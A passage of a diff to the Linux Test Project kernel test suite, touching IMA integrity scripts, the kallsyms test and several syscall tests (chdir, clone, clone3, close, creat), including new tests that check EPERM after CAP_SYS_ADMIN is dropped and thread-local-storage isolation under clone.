b/ltp/testcases/kernel/security/integrity/ima/tests/ima_setup.sh @@ -12,6 +12,7 @@ TST_CLEANUP="ima_cleanup" TST_NEEDS_ROOT=1 TST_MOUNT_DEVICE=1 TST_SKIP_LSM_WARNINGS=1 +TST_USAGE="usage" # TST_MOUNT_DEVICE can be unset, therefore specify explicitly TST_NEEDS_TMPDIR=1 @@ -23,6 +24,21 @@ TST_FS_TYPE="ext3" IMA_FAIL="TFAIL" IMA_BROK="TBROK" +usage() +{ + echo "Test Specific Environment Variables" + echo "-----------------------------------" + + cat >&2 << EOF +LTP_IMA_LOAD_POLICY=1 Load IMA example policy which some tests require + NOTE: This requires to reboot SUT unless kernel + configured with CONFIG_IMA_WRITE_POLICY=y +EOF + echo + echo "Options" + echo "-------" +} + # TODO: find support for rmd128 rmd256 rmd320 wp256 wp384 tgr128 tgr160 compute_digest() { @@ -450,10 +466,11 @@ require_evmctl() } # 56dc986a6b20b ("ima: require signed IMA policy when UEFI secure boot is enabled") # v6.5-rc4 +# d958083a8f640 ("x86/ima: define arch_get_ima_policy() for x86") # v5.0 check_need_signed_policy() { - tst_secureboot_enabled && tst_kvcmp -ge '6.5' && tst_require_kconfigs \ - 'CONFIG_IMA_KEYRINGS_PERMIT_SIGNED_BY_BUILTIN_OR_SECONDARY' + tst_secureboot_enabled && tst_kvcmp -ge '6.5' && tst_check_kconfigs \ + 'CONFIG_IMA_KEYRINGS_PERMIT_SIGNED_BY_BUILTIN_OR_SECONDARY,CONFIG_IMA_ARCH_POLICY' } # loop device is needed to use only for tmpfs diff --git a/ltp/testcases/kernel/security/integrity/ima/tests/ima_violations.sh b/ltp/testcases/kernel/security/integrity/ima/tests/ima_violations.sh index 1d2f1d94..6271bba3 100755 --- a/ltp/testcases/kernel/security/integrity/ima/tests/ima_violations.sh +++ b/ltp/testcases/kernel/security/integrity/ima/tests/ima_violations.sh @@ -8,6 +8,7 @@ # test[4-6] test 6.15 commit 5b3cd801155f ("ima: limit the number of open-writers integrity violations") # test[7-8] test 6.15 commit a414016218ca ("ima: limit the number of ToMToU integrity violations") +TST_NEEDS_CHECKPOINTS=1 TST_SETUP="setup" TST_CLEANUP="cleanup" TST_CNT=8 @@ -87,23 +88,29 @@ validate() local search="$3" local expected_violations="$4" local max_attempt=3 - local count2 i num_violations_new + local count2 diff i num_violations_new pass for i in $(seq 1 $max_attempt); do read num_violations_new < $IMA_VIOLATIONS count2="$(get_count $search)" - if [ -z "$expected_violations" -a $(($num_violations_new - $num_violations)) -gt 0 ] || \ - [ $(($num_violations_new - $num_violations)) -eq $expected_violations ]; then - [ -z "$expected_violations" ] && expected_violations=1 + diff=$(($num_violations_new - $num_violations)) + + if [ "$expected_violations" ]; then + [ $diff -eq $expected_violations ] && pass=1 + else + [ $diff -gt 0 ] && pass=1 + fi + + if [ "$pass" = 1 ]; then if [ $count2 -gt $count ]; then - tst_res TPASS "$expected_violations $search violation(s) added" + tst_res TPASS "${expected_violations:-1} $search violation(s) added" return else tst_res TINFO "$search not found in $LOG ($i/$max_attempt attempt)..." tst_sleep 1s fi - elif [ $(($num_violations_new - $num_violations)) -gt 0 ]; then - tst_res $IMA_FAIL "$search too many violations added: $num_violations_new - $num_violations" + elif [ $diff -gt 0 ]; then + tst_res $IMA_FAIL "$search too many violations added: $diff ($num_violations_new - $num_violations)" return else tst_res $IMA_FAIL "$search violation not added" @@ -151,6 +158,8 @@ test2() test3() { + local pid + tst_res TINFO "verify open_writers using mmapped files" local search="open_writers" @@ -161,17 +170,23 @@ test3() echo 'testing testing' > $FILE - ima_mmap -f $FILE & - # wait for violations appear in logs - tst_sleep 1s + ima_mmap $FILE & + pid=$! + + TST_CHECKPOINT_WAIT 0 open_file_read close_file_read + TST_CHECKPOINT_WAKE 0 + validate $num_violations $count $search # wait for ima_mmap to exit, so we can umount - tst_sleep 2s + wait $pid + if [ $? -ne 0 ]; then + tst_brk TBROK "failed to execute ima_mmap" + fi } test4() diff --git a/ltp/testcases/kernel/security/kallsyms/kallsyms.c b/ltp/testcases/kernel/security/kallsyms/kallsyms.c index 45b3e18d..914c74f4 100644 --- a/ltp/testcases/kernel/security/kallsyms/kallsyms.c +++ b/ltp/testcases/kernel/security/kallsyms/kallsyms.c @@ -62,7 +62,7 @@ static int ranges_size, ranges_len; static void segv_handler(int sig) { - if (sig == SIGSEGV) + if (sig == SIGSEGV || sig == SIGBUS) segv_caught++; else tst_res(TFAIL, "Unexpected signal %s", strsignal(sig)); @@ -99,9 +99,7 @@ static void read_proc_self_maps(void) FILE *fp; ranges_len = 0; - fp = fopen("/proc/self/maps", "r"); - if (fp == NULL) - tst_brk(TBROK | TERRNO, "Failed to open /proc/self/maps."); + fp = SAFE_FOPEN("/proc/self/maps", "r"); while (!feof(fp)) { unsigned long start, end; @@ -143,6 +141,7 @@ static void setup(void) memset(&sa, 0, sizeof(sa)); sa.sa_handler = segv_handler; sigaction(SIGSEGV, &sa, NULL); + sigaction(SIGBUS, &sa, NULL); nr_symbols = read_kallsyms(NULL, 0); sym_table = SAFE_CALLOC(nr_symbols, sizeof(*sym_table)); diff --git a/ltp/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c b/ltp/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c index 20f33527..0d3e6a61 100644 --- a/ltp/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c +++ b/ltp/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c @@ -43,7 +43,7 @@ #include <signal.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "prot_hsymlinks"; int TST_TOTAL = 396; diff --git a/ltp/testcases/kernel/security/smack/README b/ltp/testcases/kernel/security/smack/README index 1b56ac63..375a8ff5 100644 --- a/ltp/testcases/kernel/security/smack/README +++ b/ltp/testcases/kernel/security/smack/README @@ -20,7 +20,7 @@ using the default make target. (cd testcases/kernel/security/smack; make && make install) 5) Running the tests: - ./runltp -f smack + kirk -f smack Each test exits with 0 on success and an error code on failure. diff --git a/ltp/testcases/kernel/syscalls/add_key/add_key05.c b/ltp/testcases/kernel/syscalls/add_key/add_key05.c index c9a2f840..b51a84b9 100644 --- a/ltp/testcases/kernel/syscalls/add_key/add_key05.c +++ b/ltp/testcases/kernel/syscalls/add_key/add_key05.c @@ -231,11 +231,11 @@ static struct tst_test test = { {&user_buf, .size = 64}, {} }, - .needs_cmds = (const char *const []) { - "useradd", - "userdel", - "groupdel", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "useradd"}, + {.cmd = "userdel"}, + {.cmd = "groupdel"}, + {} }, .tags = (const struct tst_tag[]) { {"linux-git", "a08bf91ce28"}, diff --git a/ltp/testcases/kernel/syscalls/cachestat/cachestat02.c b/ltp/testcases/kernel/syscalls/cachestat/cachestat02.c index 72428ee8..d6505c4a 100644 --- a/ltp/testcases/kernel/syscalls/cachestat/cachestat02.c +++ b/ltp/testcases/kernel/syscalls/cachestat/cachestat02.c @@ -17,10 +17,9 @@ #include <stdlib.h> #include "cachestat.h" -#define FILENAME "myfile.bin" - static int page_size; static char *page_data; +static char shm_name[64]; static struct cachestat *cs; static struct cachestat_range *cs_range; @@ -32,7 +31,8 @@ static void test_cached_pages(const int num_pages) memset(cs, 0, sizeof(struct cachestat)); - fd = shm_open(FILENAME, O_RDWR | O_CREAT, 0600); + snprintf(shm_name, sizeof(shm_name), "/cachestat_%d.bin", getpid()); + fd = shm_open(shm_name, O_RDWR | O_CREAT | O_EXCL, 0600); if (fd < 0) tst_brk(TBROK | TERRNO, "shm_open error"); @@ -53,7 +53,7 @@ static void test_cached_pages(const int num_pages) TST_EXP_EQ_LI(cs->nr_cache + cs->nr_evicted, num_pages); SAFE_CLOSE(fd); - shm_unlink(FILENAME); + shm_unlink(shm_name); } static void run(void) diff --git a/ltp/testcases/kernel/syscalls/chdir/.gitignore b/ltp/testcases/kernel/syscalls/chdir/.gitignore index 1b15eb6b..3475c5e5 100644 --- a/ltp/testcases/kernel/syscalls/chdir/.gitignore +++ b/ltp/testcases/kernel/syscalls/chdir/.gitignore @@ -1,2 +1,3 @@ /chdir01 +/chdir02 /chdir04 diff --git a/ltp/testcases/kernel/syscalls/chdir/chdir02.c b/ltp/testcases/kernel/syscalls/chdir/chdir02.c new file mode 100644 index 00000000..371fabb4 --- /dev/null +++ b/ltp/testcases/kernel/syscalls/chdir/chdir02.c @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2026 Cyril Hrubis <chrubis@suse.cz> + */ + +/*\ + * Tests that all paths shorter than PATH_MAX work fine. + */ + +#include "tst_test.h" + +static char *path; + +static void verify_chdir(void) +{ + int i, fails = 0; + + memset(path, 0, PATH_MAX); + + for (i = 1; i < PATH_MAX; i++) { + memset(path, '/', i); + + TST_EXP_PASS_SILENT(chdir(path), "chdir('/' * %i)", i); + + fails += !TST_PASS; + } + + if (!fails) + tst_res(TPASS, "Path lengths <1,%i> worked correctly", PATH_MAX); +} + +static struct tst_test test = { + .test_all = verify_chdir, + .bufs = (struct tst_buffers []) { + {&path, .size = PATH_MAX}, + {} + } +}; diff --git a/ltp/testcases/kernel/syscalls/clock_gettime/clock_gettime04.c b/ltp/testcases/kernel/syscalls/clock_gettime/clock_gettime04.c index 4f262da0..a305f037 100644 --- a/ltp/testcases/kernel/syscalls/clock_gettime/clock_gettime04.c +++ b/ltp/testcases/kernel/syscalls/clock_gettime/clock_gettime04.c @@ -13,7 +13,7 @@ */ #include "config.h" -#include "parse_vdso.h" +#include "tse_parse_vdso.h" #include "time64_variants.h" #include "tst_timer.h" #include "tst_safe_clocks.h" diff --git a/ltp/testcases/kernel/syscalls/clone/.gitignore b/ltp/testcases/kernel/syscalls/clone/.gitignore index 900cac19..0edcfef5 100644 --- a/ltp/testcases/kernel/syscalls/clone/.gitignore +++ b/ltp/testcases/kernel/syscalls/clone/.gitignore @@ -7,3 +7,5 @@ /clone07 /clone08 /clone09 +/clone10 +/clone11 diff --git a/ltp/testcases/kernel/syscalls/clone/clone02.c b/ltp/testcases/kernel/syscalls/clone/clone02.c index fd3ee1ae..972db520 100644 --- a/ltp/testcases/kernel/syscalls/clone/clone02.c +++ b/ltp/testcases/kernel/syscalls/clone/clone02.c @@ -58,7 +58,7 @@ #include <sys/syscall.h> #include <sched.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "tst_clone.h" #define FLAG_ALL (CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|SIGCHLD) diff --git a/ltp/testcases/kernel/syscalls/clone/clone10.c b/ltp/testcases/kernel/syscalls/clone/clone10.c new file mode 100644 index 00000000..96de811a --- /dev/null +++ b/ltp/testcases/kernel/syscalls/clone/clone10.c @@ -0,0 +1,99 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2025 Red Hat Inc. All Rights Reserved. + * Author: Chunfu Wen <chwen@redhat.com> + */ + +/*\ + * Test that in a thread started by clone() that runs in the same address + * space (CLONE_VM) but with a different TLS (CLONE_SETTLS) writtes to a + * thread local variables are not propagated back from the cloned thread. + */ + +#define _GNU_SOURCE +#include <stdlib.h> +#include <stdio.h> +#include <errno.h> +#include <sched.h> +#include <sys/wait.h> + +#include "tst_test.h" +#include "clone_platform.h" +#include "lapi/syscalls.h" +#include "tst_atomic.h" +#include "lapi/tls.h" + +#define TLS_EXP 100 + +#ifndef ARCH_SET_FS +#define ARCH_SET_FS 0x1002 +#endif + +void *tls_ptr; +struct user_desc *tls_desc; + +static __thread int tls_var; + +static char *child_stack; +static tst_atomic_t child_done; + +static int flags = CLONE_THREAD | CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | CLONE_SETTLS; + +static int touch_tls_in_child(void *arg LTP_ATTRIBUTE_UNUSED) +{ + tls_var = TLS_EXP + 1; + tst_atomic_store(1, &child_done); + + tst_syscall(__NR_exit, 0); + return 0; +} + +static void verify_tls(void) +{ + tls_var = TLS_EXP; + tst_atomic_store(0, &child_done); + + TEST(ltp_clone7(flags, touch_tls_in_child, NULL, CHILD_STACK_SIZE, child_stack, NULL, tls_ptr, NULL)); + + if (TST_RET == -1) + tst_brk(TBROK | TTERRNO, "clone() failed"); + + while (tst_atomic_load(&child_done) == 0) { + usleep(10); + } + + if (tls_var == TLS_EXP) { + tst_res(TPASS, + "Parent (PID: %d, TID: %d): TLS value correct: %d", + getpid(), (pid_t)syscall(SYS_gettid), tls_var); + } else { + tst_res(TFAIL, + "Parent (PID: %d, TID: %d): TLS value mismatch: got %d, expected %d", + getpid(), (pid_t)syscall(SYS_gettid), tls_var, TLS_EXP); + } +} + +static void setup(void) +{ + child_stack = SAFE_MALLOC(CHILD_STACK_SIZE); + init_tls(); +} + +static void cleanup(void) +{ + free(child_stack); + free_tls(); +} + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .needs_checkpoints = 1, + .test_all = verify_tls, + .supported_archs = (const char *const []) { + "x86_64", + "aarch64", + "s390x", + NULL + } +}; diff --git a/ltp/testcases/kernel/syscalls/clone/clone11.c b/ltp/testcases/kernel/syscalls/clone/clone11.c new file mode 100644 index 00000000..028da778 --- /dev/null +++ b/ltp/testcases/kernel/syscalls/clone/clone11.c @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2025 Stephen Bertram <sbertram@redhat.com> + */ + +/*\ + * This test verifies that :manpage:`clone(2)` fails with EPERM when CAP_SYS_ADMIN + * has been dropped. + */ + +#define _GNU_SOURCE +#define DESC(x) .flags = x, .sflags = #x + +#include "tst_test.h" +#include "clone_platform.h" +#include "lapi/sched.h" + +static void *child_stack; +static int *child_pid; + +static struct tcase { + uint64_t flags; + const char *sflags; +} tcases[] = { + { DESC(CLONE_NEWPID) }, + { DESC(CLONE_NEWCGROUP) }, + { DESC(CLONE_NEWIPC) }, + { DESC(CLONE_NEWNET) }, + { DESC(CLONE_NEWNS) }, + { DESC(CLONE_NEWUTS) }, +}; + +static int child_fn(void *arg LTP_ATTRIBUTE_UNUSED) +{ + *child_pid = getpid(); + _exit(0); +} + +static void run(unsigned int n) +{ + struct tcase *tc = &tcases[n]; + + TST_EXP_FAIL(ltp_clone(tc->flags, child_fn, NULL, CHILD_STACK_SIZE, child_stack), + EPERM, "clone(%s) should fail with EPERM", + tc->sflags); +} + +static void setup(void) +{ + child_pid = SAFE_MMAP(NULL, sizeof(*child_pid), + PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_ANONYMOUS, + -1, 0); +} + +static void cleanup(void) +{ + if (child_pid) + SAFE_MUNMAP(child_pid, sizeof(*child_pid)); +} + +static struct tst_test test = { + .tcnt = ARRAY_SIZE(tcases), + .setup = setup, + .test = run, + .cleanup = cleanup, + .needs_root = 1, + .caps = (struct tst_cap[]) { + TST_CAP(TST_CAP_DROP, CAP_SYS_ADMIN), + {}, + }, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, + .bufs = (struct tst_buffers[]) { + {&child_stack, .size = CHILD_STACK_SIZE}, + {}, + }, +}; diff --git a/ltp/testcases/kernel/syscalls/clone3/.gitignore b/ltp/testcases/kernel/syscalls/clone3/.gitignore index 10369954..e9b5312f 100644 --- a/ltp/testcases/kernel/syscalls/clone3/.gitignore +++ b/ltp/testcases/kernel/syscalls/clone3/.gitignore @@ -1,3 +1,4 @@ clone301 clone302 clone303 +clone304 diff --git a/ltp/testcases/kernel/syscalls/clone3/clone301.c b/ltp/testcases/kernel/syscalls/clone3/clone301.c index deed30b9..668c1a22 100644 --- a/ltp/testcases/kernel/syscalls/clone3/clone301.c +++ b/ltp/testcases/kernel/syscalls/clone3/clone301.c @@ -123,7 +123,7 @@ static void run(unsigned int n) parent_received_signal = 0; SAFE_SIGACTION(tc->exit_signal, &psig_action, NULL); - TEST(pid = clone3(args, sizeof(*args))); + TEST(pid = ltp_clone3_raw(args, sizeof(*args))); if (pid < 0) { tst_res(TFAIL | TTERRNO, "clone3() failed (%d)", n); return; @@ -176,6 +176,10 @@ static struct tst_test test = { .setup = setup, .needs_root = 1, .needs_checkpoints = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, .bufs = (struct tst_buffers []) { {&args, .size = sizeof(*args)}, {}, diff --git a/ltp/testcases/kernel/syscalls/clone3/clone302.c b/ltp/testcases/kernel/syscalls/clone3/clone302.c index 9e98f195..88311218 100644 --- a/ltp/testcases/kernel/syscalls/clone3/clone302.c +++ b/ltp/testcases/kernel/syscalls/clone3/clone302.c @@ -83,7 +83,7 @@ static void run(unsigned int n) args->tls = tc->tls; } - TEST(clone3(args, tc->size)); + TEST(ltp_clone3_raw(args, tc->size)); if (!TST_RET) exit(EXIT_SUCCESS); diff --git a/ltp/testcases/kernel/syscalls/clone3/clone304.c b/ltp/testcases/kernel/syscalls/clone3/clone304.c new file mode 100644 index 00000000..b91a081e --- /dev/null +++ b/ltp/testcases/kernel/syscalls/clone3/clone304.c @@ -0,0 +1,92 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2025 Stephen Bertram <sbertram@redhat.com> + */ + +/*\ + * This test verifies that :manpage:`clone3(2)` fails with EPERM when CAP_SYS_ADMIN + * has been dropped and ``clone_args.set_tid_size`` is greater than zero. + */ + +#define _GNU_SOURCE +#define DESC(x) .flags = x, .sflags = #x + +#include "tst_test.h" +#include "lapi/sched.h" + +enum case_type { + K_SET_TID, /* flags = 0 || CLONE_NEW*, set_tid_size > 0 => EPERM */ + K_NAMESPACE_ONLY, /* flags = CLONE_NEW*, set_tid_size = 0 => EPERM */ +}; + +static struct clone_args args = {0}; +static pid_t tid_array[1] = {1}; + +static struct tcase { + uint64_t flags; + const char *sflags; + enum case_type type; +} tcases[] = { + { DESC(CLONE_NEWPID), K_NAMESPACE_ONLY }, + { DESC(CLONE_NEWCGROUP), K_NAMESPACE_ONLY }, + { DESC(CLONE_NEWIPC), K_NAMESPACE_ONLY }, + { DESC(CLONE_NEWNET), K_NAMESPACE_ONLY }, + { DESC(CLONE_NEWNS), K_NAMESPACE_ONLY }, + { DESC(CLONE_NEWUTS), K_NAMESPACE_ONLY }, + + { DESC(CLONE_NEWPID), K_SET_TID }, + { DESC(CLONE_NEWCGROUP), K_SET_TID }, + { DESC(CLONE_NEWIPC), K_SET_TID }, + { DESC(CLONE_NEWNET), K_SET_TID }, + { DESC(CLONE_NEWNS), K_SET_TID }, + { DESC(CLONE_NEWUTS), K_SET_TID }, + + { DESC(0), K_SET_TID }, +}; + +static void run(unsigned int n) +{ + struct tcase *tc = &tcases[n]; + + args.flags = tc->flags; + + if (tc->type == K_NAMESPACE_ONLY) { + args.set_tid = 0; + args.set_tid_size = 0; + } else { + args.set_tid = (uint64_t)(uintptr_t)tid_array; + args.set_tid_size = 1; + } + + TST_EXP_FAIL(ltp_clone3_raw(&args, sizeof(args)), EPERM, + "clone3(%s) set_tid_size=%ld", + tc->sflags, args.set_tid_size); +} + +static void setup(void) +{ + clone3_supported_by_kernel(); + + memset(&args, 0, sizeof(args)); + SAFE_UNSHARE(CLONE_NEWUSER | CLONE_NEWNS); +} + +static struct tst_test test = { + .tcnt = ARRAY_SIZE(tcases), + .setup = setup, + .test = run, + .needs_root = 1, + .caps = (struct tst_cap[]) { + TST_CAP(TST_CAP_DROP, CAP_SYS_ADMIN), + {}, + }, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + "CONFIG_PID_NS", + NULL, + }, + .bufs = (struct tst_buffers[]) { + {&args, .size = sizeof(struct clone_args)}, + {}, + }, +}; diff --git a/ltp/testcases/kernel/syscalls/close/close01.c b/ltp/testcases/kernel/syscalls/close/close01.c index 4e4f107e..61675259 100644 --- a/ltp/testcases/kernel/syscalls/close/close01.c +++ b/ltp/testcases/kernel/syscalls/close/close01.c @@ -8,10 +8,7 @@ * Test that closing a file/pipe/socket works correctly. */ -#include <stdio.h> -#include <errno.h> #include <fcntl.h> -#include <sys/stat.h> #include "tst_test.h" #define FILENAME "close01_testfile" @@ -24,6 +21,7 @@ static int get_fd_file(void) static int get_fd_pipe(void) { int pipefildes[2]; + SAFE_PIPE(pipefildes); SAFE_CLOSE(pipefildes[1]); return pipefildes[0]; @@ -34,7 +32,7 @@ static int get_fd_socket(void) return SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); } -struct test_case_t { +static struct test_case_t { int (*get_fd) (); char *type; } tc[] = { diff --git a/ltp/testcases/kernel/syscalls/close/close02.c b/ltp/testcases/kernel/syscalls/close/close02.c index 2016453f..03cce109 100644 --- a/ltp/testcases/kernel/syscalls/close/close02.c +++ b/ltp/testcases/kernel/syscalls/close/close02.c @@ -5,19 +5,46 @@ */ /*\ - * Call close(-1) and expects it to return EBADF. + * Verify :manpage:`close(2)` failure cases: + * + * 1) close(-1) returns EBADF. + * 2) closing the same fd twice returns EBADF on the second call. */ -#include <stdio.h> #include <errno.h> -#include <sys/stat.h> +#include <fcntl.h> + #include "tst_test.h" -static void run(void) +static int fd_invalid = -1; +static int fd_closed = -1; + +static struct tcase { + const char *desc; + int *fd; + int exp_errno; +} tcases[] = { + { "close(-1)", &fd_invalid, EBADF }, + { "close same fd twice", &fd_closed, EBADF }, +}; + +static void verify_close(unsigned int i) +{ + struct tcase *tc = &tcases[i]; + + TST_EXP_FAIL(close(*tc->fd), tc->exp_errno, "%s", tc->desc); +} + +static void setup(void) { - TST_EXP_FAIL(close(-1), EBADF); + fd_closed = SAFE_OPEN("close02", O_CREAT | O_RDWR, 0600); + if (close(fd_closed) == -1) + tst_brk(TBROK | TERRNO, "close(%d) failed", fd_closed); } static struct tst_test test = { - .test_all = run, + .needs_tmpdir = 1, + .setup = setup, + .tcnt = ARRAY_SIZE(tcases), + .test = verify_close, }; diff --git a/ltp/testcases/kernel/syscalls/connect/connect01.c b/ltp/testcases/kernel/syscalls/connect/connect01.c index 660c4f7a..6cb8adab 100644 --- a/ltp/testcases/kernel/syscalls/connect/connect01.c +++ b/ltp/testcases/kernel/syscalls/connect/connect01.c @@ -53,7 +53,7 @@ #include <netinet/in.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "connect01"; int testno; diff --git a/ltp/testcases/kernel/syscalls/creat/creat01.c b/ltp/testcases/kernel/syscalls/creat/creat01.c index 6bd2c596..64d3751f 100644 --- a/ltp/testcases/kernel/syscalls/creat/creat01.c +++ b/ltp/testcases/kernel/syscalls/creat/creat01.c @@ -4,13 +4,12 @@ * Ported to LTP: Wayne Boyer */ -/* - * 1. creat() a file using 0444 mode, write to the fildes, write +/*\ + * 1. :manpage:`creat(2)` a file using 0444 mode, write to the fildes, write * should return a positive count. * - * 2. creat() should truncate a file to 0 bytes if it already + * 2. :manpage:`creat(2)` should truncate a file to 0 bytes if it already * exists, and should not fail. - * */ #include <sys/types.h> diff --git a/ltp/testcases/kernel/syscalls/creat/creat03.c b/ltp/testcases/kernel/syscalls/creat/creat03.c index 7580e58c..c92395fa 100644 --- a/ltp/testcases/kernel/syscalls/creat/creat03.c +++ b/ltp/testcases/kernel/syscalls/creat/creat03.c @@ -4,9 +4,9 @@ * Ported to LTP: Wayne Boyer */ -/* +/*\ * Testcase to check whether the sticky bit cleared. - * Creat a new file, fstat.st_mode should have the 01000 bit off + * :manpage:`creat(2)` a new file, fstat.st_mode should have the 01000 bit off. */ #include <errno.h> diff --git a/ltp/testcases/kernel/syscalls/creat/creat04.c b/ltp/testcases/kernel/syscalls/creat/creat04.c index 043bd45a..37f8ae3a 100644 --- a/ltp/testcases/kernel/syscalls/creat/creat04.c +++ b/ltp/testcases/kernel/syscalls/creat/creat04.c @@ -4,8 +4,8 @@ * Ported to LTP: Wayne Boyer */ -/* - * Testcase to check creat(2) fails with EACCES +/*\ + * Check :manpage:`creat(2)` fails with EACCES. */ #include <stdio.h> diff --git a/ltp/testcases/kernel/syscalls/creat/creat05.c b/ltp/testcases/kernel/syscalls/creat/creat05.c index 32074a44..a8f15005 100644 --- a/ltp/testcases/kernel/syscalls/creat/creat05.c +++ b/ltp/testcases/kernel/syscalls/creat/creat05.c @@ -4,8 +4,8 @@ * Ported to LTP: Wayne Boyer */ -/* - * Testcase to check that creat(2) system call returns EMFILE. +/*\ + * Check that :manpage:`creat(2)` system call returns EMFILE. */ #include <stdio.h> diff --git a/ltp/testcases/kernel/syscalls/creat/creat06.c b/ltp/testcases/kernel/syscalls/creat/creat06.c index bd9835ea..f09252f6 100644 --- a/ltp/testcases/kernel/syscalls/creat/creat06.c +++ b/ltp/testcases/kernel/syscalls/creat/creat06.c @@ -1,39 +1,26 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) Linux Test Project, 2014-2026 * Copyright (c) International Business Machines Corp., 2001 * Ported to LTP: Wayne Boyer */ -/* - * DESCRIPTION - * Testcase to check creat(2) sets the following errnos correctly: - * 1. EISDIR - * 2. ENAMETOOLONG - * 3. ENOENT - * 4. ENOTDIR - * 5. EFAULT - * 6. EACCES - * 7. ELOOP - * 8. EROFS - * +/*\ + * Check that :manpage:`creat(2)` sets the following errnos correctly: * - * ALGORITHM - * 1. Attempt to creat(2) an existing directory, and test for - * EISDIR - * 2. Attempt to creat(2) a file whose name is more than - * VFS_MAXNAMLEN and test for ENAMETOOLONG. - * 3. Attempt to creat(2) a file inside a directory which doesn't - * exist, and test for ENOENT - * 4. Attempt to creat(2) a file, the pathname of which comprises - * a component which is a file, test for ENOTDIR. - * 5. Attempt to creat(2) a file with a bad address - * and test for EFAULT - * 6. Attempt to creat(2) a file in a directory with no - * execute permission and test for EACCES - * 7. Attempt to creat(2) a file which links the other file that - * links the former and test for ELOOP - * 8. Attempt to creat(2) a file in a Read-only file system - * and test for EROFS + * 1. EISDIR -- Attempt to :manpage:`creat(2)` an existing directory. + * 2. ENAMETOOLONG -- Attempt to :manpage:`creat(2)` a file whose name is more + * than VFS_MAXNAMLEN and test for ENAMETOOLONG. + * 3. ENOENT -- Attempt to :manpage:`creat(2)` a file inside a directory which + * doesn't exist. + * 4. ENOTDIR -- Attempt to :manpage:`creat(2)` a file, the pathname of which + * comprises a component which is a file. + * 5. EFAULT -- Attempt to :manpage:`creat(2)` a file with a bad address. + * 6. EACCES -- Attempt to :manpage:`creat(2)` a file in a directory with no + * execute permission. + * 7. ELOOP -- Attempt to :manpage:`creat(2)` a file which links the other file + * that links the former. + * 8. EROFS -- Attempt to :manpage:`creat(2)` a file in a read-only file system. */ #include <errno.h> diff --git a/ltp/testcases/kernel/syscalls/creat/creat07.c b/ltp/testcases/kernel/syscalls/creat/creat07.c index f157e1a8..c7b85ee6 100644 --- a/ltp/testcases/kernel/syscalls/creat/creat07.c +++ b/ltp/testcases/kernel/syscalls/creat/creat07.c @@ -4,8 +4,8 @@ * Copyright (c) 2012-2016 Cyril Hrubis <chrubis@suse.cz> */ -/* - * Testcase to check creat(2) sets ETXTBSY correctly. +/*\ + * Check that :manpage:`creat(2)` sets ETXTBSY correctly. */ #include <sys/types.h> diff --git a/ltp/testcases/kernel/syscalls/creat/creat08.c b/ltp/testcases/kernel/syscalls/creat/creat08.c index ab537de9..554b2e81 100644 --- a/ltp/testcases/kernel/syscalls/creat/creat08.c +++ b/ltp/testcases/kernel/syscalls/creat/creat08.c @@ -1,13 +1,13 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2002 - * Ported from SPIE by Airong Zhang <zhanga@us.ibm.com> + * Ported from SPIE by Airong Zhang <zhanga@us.ibm.com> * Copyright (c) 2021 SUSE LLC <mdoucha@suse.cz> */ /*\ * Verify that the group ID and setgid bit are set correctly when a new file - * is created. + * is created with :manpage:`creat(2)`. */ #include <stdlib.h> diff --git a/ltp/testcases/kernel/syscalls/creat/creat09.c b/ltp/testcases/kernel/syscalls/creat/creat09.c index ac46c940..e60265fc 100644 --- a/ltp/testcases/kernel/syscalls/creat/creat09.c +++ b/ltp/testcases/kernel/syscalls/creat/creat09.c @@ -11,31 +11,12 @@ * * Fixed in: * - * commit 0fa3ecd87848c9c93c2c828ef4c3a8ca36ce46c7 - * Author: Linus Torvalds <torvalds@linux-foundation.org> - * Date: Tue Jul 3 17:10:19 2018 -0700 + * - 0fa3ecd87848 ("Fix up non-directory creation in SGID directories") # v4.18 + * - 01ea173e103e ("xfs: fix up non-directory creation in SGID directories") # v5.12 * - * Fix up non-directory creation in SGID directories + * When use acl or umask, it still has bug. Fixed in: * - * This fix is incomplete if file is on xfs filesystem. - * - * Fixed in: - * - * commit 01ea173e103edd5ec41acec65b9261b87e123fc2 - * Author: Christoph Hellwig <hch@lst.de> - * Date: Fri Jan 22 16:48:18 2021 -0800 - * - * xfs: fix up non-directory creation in SGID directories - * - * When use acl or umask, it still has bug. - * - * Fixed in: - * - * commit 1639a49ccdce58ea248841ed9b23babcce6dbb0b - * Author: Yang Xu <xuyang2018.jy@fujitsu.com> - * Date: Thu July 14 14:11:27 2022 +0800 - * - * fs: move S_ISGID stripping into the vfs_*() helpers + * - 1639a49ccdce ("fs: move S_ISGID stripping into the vfs_*() helpers") # v6.0 */ #include <stdlib.h> diff --git a/ltp/testcases/kernel/syscalls/epoll_pwait/epoll_pwait06.c b/ltp/testcases/kernel/syscalls/epoll_pwait/epoll_pwait06.c index 3bedc2cf..d47327be 100644 --- a/ltp/testcases/kernel/syscalls/epoll_pwait/epoll_pwait06.c +++ b/ltp/testcases/kernel/syscalls/epoll_pwait/epoll_pwait06.c @@ -36,6 +36,7 @@ static void run(void) case TST_FD_DIR: case TST_FD_DEV_ZERO: case TST_FD_PROC_MAPS: + case TST_FD_BPF_MAP: case TST_FD_FSOPEN: case 